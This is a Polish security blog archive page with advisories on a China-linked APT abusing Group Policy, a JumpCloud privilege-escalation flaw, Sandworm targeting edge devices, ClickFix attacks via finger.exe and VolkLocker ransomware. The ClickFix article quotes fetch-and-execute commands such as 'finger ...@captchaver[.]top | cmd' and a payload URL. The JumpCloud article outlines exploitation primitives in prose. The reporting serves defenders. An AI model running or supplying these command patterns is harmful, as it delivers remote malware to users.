Archiwa: Windows - Strona 37 z 65 - Security Bez Tabu

Nowa grupa hakerska powiązana z Chinami szpiegowała rządy w Azji Południowo-Wschodniej i Japonii

Wprowadzenie do problemu / definicja luki

Badacze ESET ujawnili nową, wcześniej nieudokumentowaną grupę APT powiązaną z Chinami, którą nazwali LongNosedGoblin. Zespół ten ma prowadzić ukierunkowane operacje cyberszpiegowskie wobec instytucji rządowych w krajach Azji Południowo-Wschodniej oraz w Japonii. Charakterystyczną techniką napastników jest nadużywanie Zasad grupy (Windows Group Policy) do rozsyłania i utrzymywania narzędzi szpiegowskich w zainfekowanych domenach. Informację potwierdziły branżowe media, w tym Recorded Future News (The Record).

W skrócie

  • Ofiary: instytucje rządowe w regionie ASEAN oraz w Japonii.
  • Atrybucja: grupa APT LongNosedGoblin, powiązana z ekosystemem cyberoperacji ChRL.
  • Kluczowa technika: dystrybucja złośliwych komponentów przez Group Policy (GPO) w domenie Windows.
  • Aktywność: co najmniej od 2023 r.; aktywna kampania potwierdzona w grudniu 2025 r.

Kontekst / historia / powiązania

Cyberszpiegostwo sponsorowane przez państwo chińskie od lat koncentruje się na administracji publicznej i sektorach strategicznych w Azji. W 2025 r. odnotowano szereg operacji PRC-nexus wymierzonych w administrację i dyplomację regionu, co potwierdzają m.in. bieżące raporty i przeglądy trendów (Mandiant/Google Cloud oraz publikacje branżowe). Na tym tle pojawienie się LongNosedGoblin wpisuje się w szerszy wzorzec stałej presji wywiadowczej.

Analiza techniczna / szczegóły kampanii

Wejście i rozprzestrzenianie: według ESET, po uzyskaniu wstępnego dostępu napastnicy wykorzystują mechanizmy Group Policy do zautomatyzowanego wdrażania ładunków w całej domenie. Taki model umożliwia trwałą i „cichą” dystrybucję komponentów, zgodną z legalnym przepływem administracyjnym w środowiskach Windows.

Komunikacja i utrzymanie dostępu: doniesienia branżowe wskazują, że w niektórych przypadkach wykorzystywana jest infrastruktura chmurowa i techniki utrzymywania C2 typowe dla operacji APT z regionu Chin, co utrudnia blokowanie i atrybucję. (Wniosek syntetyzowany na podstawie materiałów o kampanii i szerszych przeglądów PRC-nexus w 2025 r.).

Celowanie: priorytetowo traktowane są resorty rządowe (ministerstwa, urzędy centralne) w wybranych państwach Azji Południowo-Wschodniej oraz w Japonii, co sugeruje cele czysto wywiadowcze (kradzież dokumentów, planów, notatek dyplomatycznych).

Mapowanie do MITRE ATT&CK (wybrane techniki):

  • T1484.001 – Domain Policy Modification (GPO) – modyfikacja/wykorzystanie zasad domenowych do egzekucji payloadów.
  • T1059 / T1053 – Command & Scripting Interpreter / Scheduled Task – egzekucja i utrzymanie harmonogramu na hostach (typowy wzorzec przy GPO). (Wniosek na bazie opisu nadużycia GPO).

Praktyczne konsekwencje / ryzyko

  • Szybka, domenowa propagacja: nadużycie GPO pozwala w krótkim czasie objąć zasięgiem całą organizację – bez wzbudzania podejrzeń użytkowników.
  • Trudna detekcja: działania są wykonywane w ramach „normalnych” mechanizmów AD, co utrudnia wykrywanie sygnaturowe i sprzyja długotrwałej obecności napastnika.
  • Ryzyko wycieku wrażliwych danych (korespondencja dyplomatyczna, dokumenty rządowe), co może mieć skutki geopolityczne i negocjacyjne.

Rekomendacje operacyjne / co zrobić teraz

  1. Włącz i egzekwuj auditing GPO/AD: szczegółowy monitoring zmian w Group Policy Objects (kto/ kiedy/ co) + alertowanie na tworzenie/edycję skryptów logon/logoff, startup/shutdown.
  2. Zasada najmniejszych uprawnień dla GPO: ogranicz administracyjne uprawnienia do tworzenia/edycji GPO, segmentuj role, stosuj „just-in-time” i „just-enough admin”.
  3. Telemetria hostowa i Sysmon: rejestrowanie procesów wyzwalanych przez GPO (np. powershell.exe, cmd.exe, mshta.exe), korelacja z czasem aktualizacji zasad. (Good practice wynikająca z opisanego TTP).
  4. Kontrola wykonywania skryptów: AppLocker / WDAC dla skryptów i binariów LoLBin, polityki ASR blokujące uruchamianie podejrzanych interpreterów przez GPO. (Wniosek operacyjny na bazie techniki).
  5. Hunting w AD: przegląd niedawno zmienionych GPO i powiązanych sysvol (szczególnie skrypty, pliki MSI/EXE/DLL), analiza nietypowych uprawnień na obiektach.
  6. Zewnętrzny traffic & C2: inspekcja ruchu do usług chmurowych i nietypowych domen jako potencjalnego C2, z uwzględnieniem wzorców PRC-nexus opisywanych w 2025 r.
  7. Playbook IR pod GPO-abuse: przygotuj procedury szybkiego „roll-backu” złośliwych zasad, izolacji kontrolerów domeny oraz rotacji poświadczeń.

Różnice / porównania z innymi przypadkami

Nadużywanie Group Policy było dotąd rzadziej opisywanym wektorem masowej dystrybucji w ramach operacji APT – częściej widzieliśmy techniki takie jak side-loading czy złośliwe aktualizacje oprogramowania. LongNosedGoblin wyróżnia się systemowym wykorzystaniem GPO jako kanału wdrożeniowego, co upodabnia atak do wewnętrznej operacji administracyjnej i znacząco utrudnia detekcję oraz triage.

Podsumowanie / kluczowe wnioski

  • LongNosedGoblin to świeżo udokumentowana, China-aligned APT, która celuje w rządy regionu ASEAN i Japonię.
  • Jej znakiem rozpoznawczym jest nadużywanie Windows Group Policy do dystrybucji narzędzi szpiegowskich w domenie.
  • Obrona wymaga precyzyjnego monitoringu i kontroli zmian GPO, łączenia telemetrii AD/host/C2 oraz gotowych playbooków IR.

Źródła / bibliografia

  • ESET WeLiveSecurity: „LongNosedGoblin tries to sniff out governmental affairs in Southeast Asia and Japan” (19 grudnia 2025). (welivesecurity.com)
  • Help Net Security: „Group Policy abuse reveals China-aligned espionage group targeting governments” (18–19 grudnia 2025). (Help Net Security)
  • The Record (Recorded Future News): „New China-linked hacker group spies on governments in Southeast Asia, Japan” (18–19 grudnia 2025). (The Record from Recorded Future)
  • The Hacker News: „China-Aligned Threat Group Uses Windows Group Policy to Deploy Espionage Malware” (19 grudnia 2025). (The Hacker News)
  • Google Cloud Threat Intelligence (kontekst PRC-nexus 2025): „PRC-Nexus Espionage Campaign … targets diplomats” (25 sierpnia 2025). (Google Cloud)

JumpCloud Remote Assist: luka CVE-2025-34352 umożliwia przejęcie systemu (Windows). Co muszą zrobić zespoły IT?

Wprowadzenie do problemu / definicja luki

W module JumpCloud Remote Assist dla Windows wykryto podatność CVE-2025-34352 (CVSS v4.0: 8.5 – High), która pozwala lokalnemu użytkownikowi o niskich uprawnieniach na eskalację uprawnień do SYSTEM oraz potencjalne przejęcie hosta podczas deinstalacji lub aktualizacji agenta. Błąd wynika z wykonywania uprzywilejowanych operacji na przewidywalnych plikach w katalogu %TEMP% bez odpowiedniej walidacji/ustawienia ACL. Problem dotyczy wersji Remote Assist < 0.317.0.


W skrócie

  • CVE-2025-34352 to lokalna eskalacja uprawnień (LPE) w JumpCloud Remote Assist (Windows), aktywowana przy uninstall/update agenta.
  • Atakujący może wymusić arbitrary file write/delete poprzez symbole dowiązań / punkty montowania, prowadząc do SYSTEM shell lub BSOD (np. zapis w System32\cng.sys).
  • Luka została załatana w Remote Assist 0.317.0; JumpCloud informuje, że klientów automatycznie podniesiono do 0.319.0 pod koniec października. Admini powinni zweryfikować wersję i polityki EDR/SIEM.

Kontekst / historia / powiązania

  • 15 grudnia 2025: XM Cyber publikuje szczegóły techniczne i PoC-owe prymitywy ataku.
  • 2 grudnia 2025: NVD publikuje rekord CVE; CNA: VulnCheck, z metryką CVSS 8.5.
  • 16–17 grudnia 2025: SecurityWeek opisuje wpływ i otrzymuje komentarz JumpCloud (o masowej aktualizacji do 0.319.0 wykonanej „pod koniec października”).

Analiza techniczna / szczegóły luki

Źródło problemu. Podczas odinstalowania/aktualizacji JumpCloud Agent (działającego jako NT AUTHORITY\SYSTEM) wywoływany jest deinstalator Remote Assist, który wykonuje tworzenie, zapis, kasowanie i uruchamianie plików o przewidywalnych nazwach w podkatalogu %TEMP% (np. ~nsuA.tmp\Un_A.exe, ~nsu.tmpA\Un_*.exe) bez resetu ACL i bez walidacji zaufania ścieżki. To klasyczne błędy CWE-59 (link following) i CWE-378 (insecure temp).

Prymitywy eksploatacji.

  1. Arbitrary file write: montowanie/namespace Object Manager + linki symboliczne → przekierowanie zapisu SYSTEM do plików chronionych (np. sterownik cng.sys) → BSOD/DoS.
  2. Arbitrary delete → LPE: wyścig TOCTOU na DeleteFileW() do usunięcia/ podmiany zawartości Config.Msi, a następnie znane techniki Windows Installer LPE do uzyskania SYSTEM shell.

Zakres wersji i komponent. Podatność dotyczy Remote Assist < 0.317.0 w środowiskach, w których komponent jest instalowany i zarządzany w cyklu życia Agenta.


Praktyczne konsekwencje / ryzyko

  • Przejęcie endpointu: lokalny user (lub malware już obecne na stacji) może podnieść uprawnienia do SYSTEM i utrwalić się.
  • Zakłócenie usług: możliwe BSOD poprzez nadpisanie krytycznych plików systemowych.
  • Wpływ łańcuchowy: komponent jest powszechny w środowiskach JumpCloud; atak na jedno stanowisko ułatwia ruch boczny i eskalację domenową.
  • Okno ataku przy maintenance: trigger następuje w trakcie uninstall/update, więc okna serwisowe lub masowe aktualizacje to momenty szczególnie wrażliwe.

Rekomendacje operacyjne / co zrobić teraz

  1. Zweryfikuj wersję Remote Assist na wszystkich Windowsach:
    • Wymagane: ≥ 0.317.0 (XM Cyber/NVD) — JumpCloud podaje, że klientów zaktualizowano do 0.319.0 pod koniec października 2025; sprawdź, czy to faktycznie nastąpiło w Twojej flocie.
  2. Wymuś aktualizację agenta/komponentów JumpCloud w MDM/patch management i raportuj niezgodności (compliance).
  3. Twarde zasady dla ścieżek tymczasowych:
    • Monitoruj tworzenie/wykonywanie plików w %TEMP%\~nsuA.tmp i %TEMP%\~nsu.tmpA.
    • W EDR utwórz reguły dla podejrzanych sekwencji CreateFile/WriteFile/CreateProcess przez procesy powiązane z deinstalatorem Remote Assist. (IOC/behavioural).
  4. Kontrola czasu aktualizacji: ogranicz uprawnienia lokalnych użytkowników i zablokuj interaktywne logowanie w oknach maintenance, aby utrudnić wyścigi/TOCTOU.
  5. Higiena uprawnień: egzekwuj least privilege, audytuj członkostwa lokalnych grup, włącz WDAC/Credential Guard gdzie to możliwe.
  6. Myśl o klasie błędu: w ocenie dostawców wymagaj, by uprzywilejowane procesy nie operowały na katalogach użytkownika (np. %TEMP%) bez jawnego ustawienia ACL oraz walidacji ścieżek.

Różnice / porównania z innymi przypadkami

Ta luka jest kolejnym przykładem LPE przez niebezpieczne operacje w katalogu tymczasowym z udziałem deinstalatorów/aktualizatorów. W odróżnieniu od niektórych wcześniejszych przypadków (np. typowe DLL hijacking), tutaj kluczowe są linki symboliczne/mount pointy i wyścig DeleteFileW(), co umożliwia zarówno DoS przez arbitralny zapis, jak i LPE przez arbitralne kasowanie + MSI. To zwiększa prawdopodobieństwo sukcesu w realnych warunkach utrzymaniowych.


Podsumowanie / kluczowe wnioski

  • Zaktualizuj Remote Assist do ≥ 0.317.0 (docelowo 0.319.0, jeśli dostępne w Twojej flocie) i potwierdź zgodność na wszystkich hostach.
  • Dodaj detekcje EDR dla sekwencji tworzenia/wykonywania plików w %TEMP%\~nsu* przez procesy instalatorów/deinstalatorów JumpCloud.
  • Zabezpiecz okna serwisowe i minimalizuj powierzchnię ataku lokalnego użytkownika.
  • Traktuj tę podatność jako sygnał kontrolny dla wszystkich narzędzi z uprawnieniami SYSTEM — żadnych uprzywilejowanych operacji w katalogach użytkownika.

Źródła / bibliografia

  • SecurityWeek — „JumpCloud Remote Assist Vulnerability Can Expose Systems to Takeover” (16–17 grudnia 2025, z oświadczeniem JumpCloud o auto-aktualizacji do 0.319.0). (SecurityWeek)
  • NVD — wpis CVE-2025-34352 (opis, CVSS 8.5, zakres wersji < 0.317.0, CWE-59/378). (NVD)
  • XM Cyber — „JUMPSHOT: … LPE (CVE-2025-34352) in JumpCloud Agent” (analiza techniczna, prymitywy, ścieżki %TEMP%). (XM Cyber)
  • VulnCheck Advisory — „JumpCloud Remote Assist < 0.317.0 Arbitrary File Write/Delete…” (daty, CVSS 8.5, zakres wersji). (VulnCheck)
  • JumpCloud — strona produktu Remote Assist (kontekst funkcjonalny). (JumpCloud)

Uwaga redakcyjna: w źródłach pojawiają się dwie wartości „naprawczych” wersji: 0.317.0 (NVD, XM Cyber, VulnCheck) oraz informacja JumpCloud o automatycznej aktualizacji do 0.319.0 (oświadczenie dla SecurityWeek). W materiałach operacyjnych zalecamy minimalny próg zgodności: 0.317.0, z preferencją 0.319.0, jeśli jest dostępna w Twojej flocie.

Amazon: rosyjscy hakerzy coraz częściej wykorzystują błędne konfiguracje urządzeń brzegowych w atakach na infrastrukturę krytyczną

Wprowadzenie do problemu / definicja luki

Amazon Threat Intelligence (ATI) opisał kampanię GRU (klaster powiązany z Sandworm/APT44), która w latach 2021–2025 ewoluowała od intensywnej eksploatacji 0-day/n-day do nadużywania błędnie skonfigurowanych urządzeń brzegowych (edge) — zwłaszcza takich z ujawnionymi interfejsami zarządzania. Z przejętych urządzeń atakujący przechwytywali ruch (pcap), pozyskiwali poświadczenia i odtwarzali je (credential replay) w usługach online ofiar w celu ruchu bocznego i utrzymania dostępu. Amazon podkreśla, że obserwowane przypadki dotyczyły urządzeń klientów hostowanych na AWS i wynikały z błędnych konfiguracji klientów, a nie słabości AWS.

W skrócie

  • Taktyczna zmiana: mniej exploitów, więcej polowania na „low-hanging fruit” — źle skonfigurowane routery, koncentratory VPN, bramki zdalnego dostępu, platformy kolaboracyjne i systemy zarządzania projektami.
  • Metoda: kompromitacja urządzenia → pasywny packet capture → kradzież poświadczeń → próby logowania (replay) do usług organizacji → lateral movement.
  • Sektory: nacisk na energetykę i infrastrukturę krytyczną w Ameryce Płn. i Europie; ofiary z infrastrukturą sieciową w chmurze.
  • Atrybucja: wysoka pewność powiązania z Sandworm/APT44 (znany klaster GRU).

Kontekst / historia / powiązania

Do 2024 r. ten sam aktor chętnie wykorzystywał znane luki m.in. w WatchGuard (CVE-2022-26318), Atlassian Confluence (CVE-2021-26084, CVE-2023-22518) czy Veeam (CVE-2023-27532). W 2025 r. Amazon odnotował spadek wykorzystania podatności na rzecz systematycznego atakowania błędnych konfiguracji urządzeń brzegowych. Równolegle zidentyfikowano nakładanie się infrastruktury z grupą określaną przez Bitdefender jako „Curly COMrades” — znaną z post-eksploatacji i ukrywania się w maszynach wirtualnych Hyper-V (CurlyShell, CurlCat).

Niezależne redakcje (CyberScoop, CSO Online) potwierdzają wątki: przejęcie urządzenia brzegowego, przechwytywanie ruchu w celu kradzieży poświadczeń i credential replay do usług ofiary.

Analiza techniczna / szczegóły luki

Punkt startowy (Initial Access)

  • Urządzenia brzegowe klientów z odsłoniętymi interfejsami zarządzania (HTTP/HTTPS, SSH, Telnet, SNMP) lub z domyślnymi/ponownie użytymi hasłami.
  • Często dotyczy instancji w chmurze (np. obrazy/appliance’y na EC2), gdzie konfiguracja sieciowa lub reguły SG/NACL dopuszczają dostęp z Internetu.

Zbieranie poświadczeń (Collection)

  • Wskazania czasowe i wzorzec użycia haseł sugerują pasywną inspekcję ruchu (packet capture) na skompromitowanych urządzeniach; atakujący pozyskują poświadczenia domenowe ofiary, nie tylko konta urządzeń.

Użycie poświadczeń (Credential Replay) i ruch boczny

  • Próby uwierzytelnienia do usług SaaS/IDP, repozytoriów kodu, platform kolaboracyjnych, portali administracyjnych, często z nietypowych geolokalizacji i z opóźnieniem (charakterystycznym dla zbioru pcap).

Przykładowe CVE z wcześniejszych faz kampanii

  • WatchGuard CVE-2022-26318; Confluence CVE-2021-26084 i CVE-2023-22518; Veeam CVE-2023-27532.

IOCs i telemetry

  • Amazon udostępnił przykładowe adresy IP (kompromitowane legalne serwery wykorzystywane jako proxy/staging). Zaleca analizę kontekstową zamiast ślepego blokowania.

Praktyczne konsekwencje / ryzyko

  • Ataki bez głośnych exploitów: trudniejsze do detekcji, bo wyglądają jak „normalna” administracja urządzeniem lub legalny ruch.
  • Przenikalność IT–OT: poświadczenia wykradzione na brzegu mogą otwierać drogę do systemów OT/ICS (np. przez skojarzone konta domenowe lub jump-hosty). Analizy ENISA i innych ośrodków pokazują, że kradzież poświadczeń pozostaje kluczowym elementem łańcucha ataku.
  • Skala sektorowa: energetyka, telekomunikacja, dostawcy usług chmurowych i MSP obsługujące podmioty infrastruktury krytycznej — ryzyko efektu łańcuchowego.

Rekomendacje operacyjne / co zrobić teraz

1) Higiena urządzeń brzegowych (priorytet wysoki)

  • Audyt ekspozycji: zinwentaryzuj wszystkie interfejsy zarządzania; przenieś je do prywatnych podsieci i zabezpiecz dostępem przez bastion/VPN z MFA. Zablokuj Telnet/HTTP/niezaszyfrowane SNMP.
  • Twarde uwierzytelnianie: rotacja haseł, unikalne konta admin, MFA wszędzie tam, gdzie to możliwe.
  • Konfiguracja sieci: reguły SG/NACL o najmniejszej potrzebnej przepustowości, VPC Flow Logs do analizy anomalii.

2) Detekcja credential replay

  • Koreluj logi uwierzytelniania pod kątem ponownego użycia poświadczeń między panelami zarządzania urządzeń a usługami SaaS/IDP; alertuj na logowania z nietypowych geolokalizacji oraz na próby po opóźnieniu po incydencie na urządzeniu.

3) Telemetria i EDR/SIEM

  • Szukaj śladów packet capture na urządzeniach (pliki pcap, uruchomione narzędzia tcpdump/pcapd).
  • W środowiskach Windows monitoruj Hyper-V enable/VM import/start — to TTP łączone z „Curly COMrades” (ukryty VM z implantami).

4) Twardnienie w AWS

  • IAM przez federację + role, GuardDuty, CloudTrail, Amazon Inspector do wykrywania niezamierzonej ekspozycji i luk, segmentacja zarządzania w VPC.

5) Reagowanie na IOCs

  • Weryfikuj adresy IP z listy ATI kontekstowo; mogą to być przejęte legalne hosty. Zastosuj TLS-only dla paneli, wyłącz legacy-crypto, loguj całość administracji.

Różnice / porównania z innymi przypadkami

W odróżnieniu od fali kampanii 2021–2024 opartej o szybkie „n-day smash-and-grab”, obecne operacje preferują trwałość i niski profil: infiltracja przez misconfig, pasywny zbiór poświadczeń, a następnie replay do usług chmurowych/SaaS. To bardziej „kontrolowane” i mniej hałaśliwe niż masowe skanowanie pod CVE. Relacje AWS i niezależnych redakcji spójnie wskazują na taki pivot taktyczny.

Podsumowanie / kluczowe wnioski

  • Dla operatorów OT/ICS i dostawców usług to alarm na konfigurację edge: interfejsy zarządzania muszą zniknąć z Internetu.
  • Detekcja credential replay powinna być stałym use case’em w SIEM i systemach tożsamości.
  • Segmentacja, MFA, monitoring i twardnienie w chmurze minimalizują okno nadużyć nawet przy błędach konfiguracyjnych.
  • Zmiana taktyk Sandworm/APT44 nie zmniejsza ryzyka — przeciwnie, utrudnia wykrycie i skraca czas do celu.

Źródła / bibliografia

  1. AWS Security Blog: Amazon Threat Intelligence identifies Russian cyber threat group targeting Western critical infrastructure (15 grudnia 2025). (Amazon Web Services, Inc.)
  2. SecurityWeek: Amazon: Russian Hackers Now Favor Misconfigurations in Critical Infrastructure Attacks (16 grudnia 2025). (SecurityWeek)
  3. CyberScoop: Amazon warns that Russia’s Sandworm has shifted its tactics (16 grudnia 2025). (CyberScoop)
  4. CSO Online: Russian APT group pivots to network edge device misconfigurations (16 grudnia 2025). (CSO Online)
  5. Bitdefender Labs: Curly COMrades: Evasion & Persistence via Hidden Hyper-V Virtual Machines (4 listopada 2025). (Bitdefender)

AI Kontra Pentesterzy – Lekcje Z Badania Stanford 2025

Dlaczego to ma znaczenie

Rosnące zdolności sztucznej inteligencji (AI) wywołują pytania o jej wpływ na bezpieczeństwo – zarówno pozytywny, jak i negatywny. Najnowsze raporty wskazują, że zaawansowane grupy atakujące (od cyberprzestępców po aktorów państwowych) już zaczynają wykorzystywać AI w operacjach ofensywnych. W odpowiedzi liderzy branży (np. OpenAI, Anthropic) uwzględniają ryzyko cyber w swoich zasadach bezpieczeństwa AI. Skoro napastnicy testują AI jako broń, obrońcy muszą zrozumieć, na co stać takie systemy – jak wypadają one na tle żywych pentesterów?

Czytaj dalej „AI Kontra Pentesterzy – Lekcje Z Badania Stanford 2025”

Dlaczego Darmowa Wiedza Nie Działa (Tak Jak Myślisz)

Gdy dostęp do wiedzy przestaje być wąskim gardłem

Zaobserwowałeś to pewnie sam: dysk pełen darmowych e-booków o cyberbezpieczeństwie, zakładki do tuzinów blogów i playlist YouTube „na później”. Wszystko dostępne od ręki, bez płacenia ani złotówki. Z taką górą darmowej wiedzy już dawno powinieneś być ekspertem, prawda? A jednak – realny progres umiejętności jakoś nie nadchodzi.

Czytaj dalej „Dlaczego Darmowa Wiedza Nie Działa (Tak Jak Myślisz)”

ClickFix nadal „daje palcem”: ataki z użyciem protokołu Finger (TCP/79) wciąż aktywne

Wprowadzenie do problemu / definicja luki

Fala kampanii ClickFix – socjotechnicznych ataków nakłaniających użytkownika do skopiowania i uruchomienia „naprawczej” komendy w systemie – nie wygasa. Najnowsze obserwacje SANS ISC potwierdzają, że napastnicy nadal nadużywają archaicznego protokołu Finger (TCP/79), uruchamiając na Windows wbudowane finger.exe do pobrania i wykonania zdalnych poleceń lub skryptów. W świeżym dzienniku Brad Duncan pokazuje, że co najmniej dwie aktywne kampanie – KongTuke i SmartApeSG – w grudniu 2025 r. wciąż serwują w fałszywych CAPTCHA komendy wywołujące finger.exe po to, by dostarczyć dalsze payloady (PowerShell/EXE) i kontynuować infekcję.

W skrócie

  • Vektor: fałszywe strony CAPTCHA/„naprawy” (ClickFix) podsuwają komendę do uruchomienia w Win+R / CMD. Komenda uruchamia finger user@host | cmd lub pobiera treść, którą następnie interpretuje cmd/PowerShell.
  • Transport: Finger działa wyłącznie po TCP/79; finger.exe nie obsługuje proxy – to ważny warunek skuteczności/neutralizacji w sieciach korporacyjnych.
  • Kampanie: m.in. KongTuke (np. finger gcaptcha@captchaver[.]top) i SmartApeSG (zapytania finger do hostów/IP z fałszywych CAPTCHA).
  • Ładunki: PowerShell Base64, pobieranie plików (np. archiwa podszyte pod PDF), NetSupport Manager RAT, infostealery; techniki antyanalizy (sprawdzanie narzędzi).
  • Mitigacje szybkie: blokuj wyjście TCP/79, egzekwuj proxy explicit, rozważ AppLocker/SRP/WDAC blokujące finger.exe, reguły EDR/Sigma na nietypowe uruchomienia finger.exe.

Kontekst / historia / powiązania

O powrocie Finger w ClickFix szerzej pisał BleepingComputer 15 listopada 2025 r., dokumentując próbki, w których polecenia finger ... | cmd pobierały i wykonywały dalszy kod; wskazano też przypadki pobrania archiwum maskującego się jako PDF i finalne wdrożenie NetSupport Manager. Wcześniej Didier Stevens w SANS ISC podsumował właściwości Finger: port 79/TCP i brak obsługi proxy w finger.exe – co tłumaczy, czemu środowiska z proxy explicit są z natury odporne (o ile ruch „na skróty” nie jest dozwolony). Projekty LOLBAS i analizy z lat 2023–2024 opisywały finger.exe jako LOLBIN zdolny do transferu danych (MITRE T1105) oraz potencjalny kanał C2/dostawczy.

Analiza techniczna / szczegóły luki

Przebieg (obserwacje z 11–13 grudnia 2025 r. na podstawie SANS ISC):

  1. Użytkownik trafia na fałszywą stronę CAPTCHA (kampanie KongTuke / SmartApeSG). Strona instruuje, aby uruchomić polecenie (np. w Win+R).
  2. Komenda wywołuje finger.exe do zapytania user@host pod kontrolą atakującego (np. gcaptcha@captchaver[.]top), często z potokiem do cmd (| cmd) lub przekazaniem treści do PowerShell.
  3. Odpowiedź serwera Finger to zwykły tekst, lecz zawiera komendy:
    • wariant PowerShell (Base64) – bezpośrednie wykonanie loadera,
    • wariant downloader – pobranie zawartości (np. z pmidpils[.]com/yhb.jpg), zapis pod losową nazwą i uruchomienie.
  4. Dalszy etap: pobranie archiwum/„PDF”, rozpakowanie modułu (np. Python stealer lub NetSupport Manager RAT), dodanie Scheduled Task dla trwałości, a nierzadko anty-analiza (wykrywanie narzędzi: Wireshark/IDA/x64dbg itp.).
  5. Ruch sieciowy: charakterystyczne połączenia TCP/79 do hostów spoza organizacji; w Wireshark widoczny filtr finger i proste strumienie tekstowe z komendami.

Właściwości Finger istotne dla obrony:

  • Protokół stały port 79/TCP – brak opcji zmiany; finger.exe bez proxy-awareness. Wymuszenie ruchu przez explicit proxy i deny dla direct-to-Internet zwykle łamie łańcuch.
  • Living-off-the-land: finger.exe to LOLBIN (LOLBAS) – obecny na systemach Windows (System32/SysWOW64). Dostępne reguły Sigma i wskazówki detekcyjne (proces + nietypowe połączenia zewnętrzne).

Praktyczne konsekwencje / ryzyko

  • Niski próg ofiary: jeden skrót Win+R → wklej → Enter wystarcza do pełnego „hands-off” pobrania i uruchomienia malware.
  • Omijanie filtracji web: gdy ruch nie jest wymuszony przez proxy, Finger korzysta z portu 79 poza standardowymi kontrolami HTTP/HTTPS, co może ominąć filtrację URL/SSL inspection.
  • Szybka ewolucja: aktorzy dodają anty-analizę, różne łańcuchy downloaderów i payloady (RAT/stealer). Ryzyko kompromitacji stacji końcowej i ruchu bocznego.

Rekomendacje operacyjne / co zrobić teraz

Sieć i kontrola egress

  • Blokuj wyjście TCP/79 na brzegach i w egress ACL (FW, NGFW). Dodaj monitorowanie prób połączeń na ten port.
  • Wymuś explicit proxy dla całego ruchu przeglądarkowego/stacyjnego; zabroń „direct-to-Internet”. finger.exe bez proxy nie zadziała w takim modelu.

Kontrola aplikacji / endpoint

  • Zabroń finger.exe (AppLocker/WDAC/SRP) w środowiskach produkcyjnych; to binarka o marginalnym uzasadnieniu biznesowym. Skoreluj z LOLBAS.
  • EDR/SIEM: alerty na proces-rodzic = cmd.exe/powershell.exefinger.exe, wystąpienie pipe | cmd, nietypowy port 79. Wykorzystaj reguły Sigma dot. finger.exe.
  • Przeglądarki: blokowanie pop-up/in-page scripts z nieznanych domen; ochrona DNS/HTTP (np. kategorie „Newly Registered Domains”). (Inference uzupełniające dobre praktyki.)

Działania IR/łowienie zagrożeń

  • Szukaj w logach: wklejanie komend z interfejsów Run/CMD/PowerShell tuż przed inicjacją Finger, zdarzenia Sysmon EventID 1/3.
  • Przegląd Scheduled Tasks i autostartów po incydencie; poszukuj śladów NetSupport Manager i nietypowych katalogów tymczasowych.

Świadomość użytkowników

  • Kampanie ClickFix/fake CAPTCHA należy objąć dedykowanym modułem phishingowym: wzorce ekranów, filmiki „jak nie robić Win+R”. (Wniosek zgodny z opisami kampanii, potwierdzany w branżowych raportach.)

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • ClickFix bez Finger: część kampanii używa wyłącznie PowerShell/curl/wget przez HTTP(S) – łatwiejsze do filtrowania przez proxy/URL. Finger dodaje nietypowy port 79 i prosty kanał tekstowy.
  • Ewolucja ClickFix: obserwowane wideo-instrukcje, timery, warianty multi-OS – ale rdzeń socjotechniki (copy-paste komendy) pozostaje. (Kontext branżowy o wzroście złożoności.)

Podsumowanie / kluczowe wnioski

  • Stary protokół ≠ martwy: Finger (TCP/79) pozostaje użyteczny dla atakujących, jeśli organizacja nie wymusza proxy i nie blokuje egress na porty „niszowe”.
  • LOLBIN w roli droppera: finger.exe – jako element systemu – ułatwia dostarczenie poleceń i payloadów, w tym RAT/stealerów.
  • Mitigacja jest prosta: blok na 79/TCP + explicit proxy + blokada finger.exe znacząco obniża skuteczność tych łańcuchów.

Źródła / bibliografia

  1. SANS ISC – „ClickFix Attacks Still Using the Finger” (Brad Duncan), 13 grudnia 2025. (SANS Internet Storm Center)
  2. BleepingComputer – „Decades-old ‘Finger’ protocol abused in ClickFix malware attacks”, 15 listopada 2025. (BleepingComputer)
  3. SANS ISC – „Finger.exe & ClickFix” (Didier Stevens), 16 listopada 2025. (SANS Internet Storm Center)
  4. LOLBAS Project – Finger.exe (ścieżki, detections/Sigma). (lolbas-project.github.io)
  5. Malware-Traffic-Analysis.net – artefakty kampanii KongTuke (przykładowa infekcja z 8 października 2025). (malware-traffic-analysis.net)

CyberVolk/VolkLocker: „nowy” ransomware z krytyczną wadą kryptograficzną

Wprowadzenie do problemu / definicja luki

13 grudnia 2025 r. opisano nową usługę RaaS grupy hacktywistycznej CyberVolk o nazwie VolkLocker. Debiut okazał się nieudany z powodu poważnych błędów kryptograficznych, które umożliwiają potencjalne odszyfrowanie danych bez płacenia okupu. Ransomware korzysta z automatyzacji przez Telegram i celuje w systemy Windows oraz Linux.

W skrócie

  • Co się stało: CyberVolk uruchomił RaaS „VolkLocker”, ale implementacja szyfrowania zawiera krytyczne błędy.
  • Dlaczego to ważne: Błąd w generowaniu/przechowywaniu kluczy (m.in. hard-coded klucz AES-GCM, ślady w katalogu %TEMP%) może pozwolić ofiarom na darmową dekryptację.
  • Jak atak działa: Golang, warianty na Windows/Linux, C2 i telemetria oparte o Telegram (automatyczne powiadomienia o infekcji, zrzuty ekranu, podstawowe info o systemie).
  • Kontekst: CyberVolk to pro-rosyjska formacja hacktywistyczna rozwijająca RaaS od 2024 r.; wcześniej łączono ją z atakami DDoS i kampaniami o motywacji politycznej.

Kontekst / historia / powiązania

CyberVolk pojawił się w 2024 r. jako kolektyw hacktywistyczny łączący DDoS i ransomware. Infrastruktura rekrutacyjna i operacyjna była (i jest) silnie oparta na Telegramie, co obniża barierę wejścia dla „afiliantów”. W 2025 r. grupa wróciła z nowym „produktem” RaaS – VolkLocker – ale popełniła kardynalne błędy projektowe.

Analiza techniczna / szczegóły luki

  • Język i platformy: VolkLocker jest napisany w Go i posiada buildy dla Windows i Linux.
  • Komunikacja i automatyzacja: Wykorzystanie Telegram API/Bot do C2 i automatycznych powiadomień o infekcjach (zrzut ekranu, podstawowe dane hosta). Niektóre warianty demonstrowały dodatkowe funkcje (np. keylogging).
  • Kryptografia (błąd krytyczny):
    • Zidentyfikowano twardo zakodowany klucz AES-256-GCM w binariach.
    • W niektórych próbkach klucz zapisywany jest jawnie do %TEMP%, co tworzy „skrót” do deszyfracji.
    • Konsekwencja: w praktyce możliwe jest odzyskanie danych bez okupu, jeśli ofiara pozyska klucz z procesu/artefaktów.
  • Dowody na „choroby wieku dziecięcego”: Publiczne analizy badaczy potwierdzają niedojrzałość projektu i błędy operacyjne w najnowszych wersjach VolkLocker.

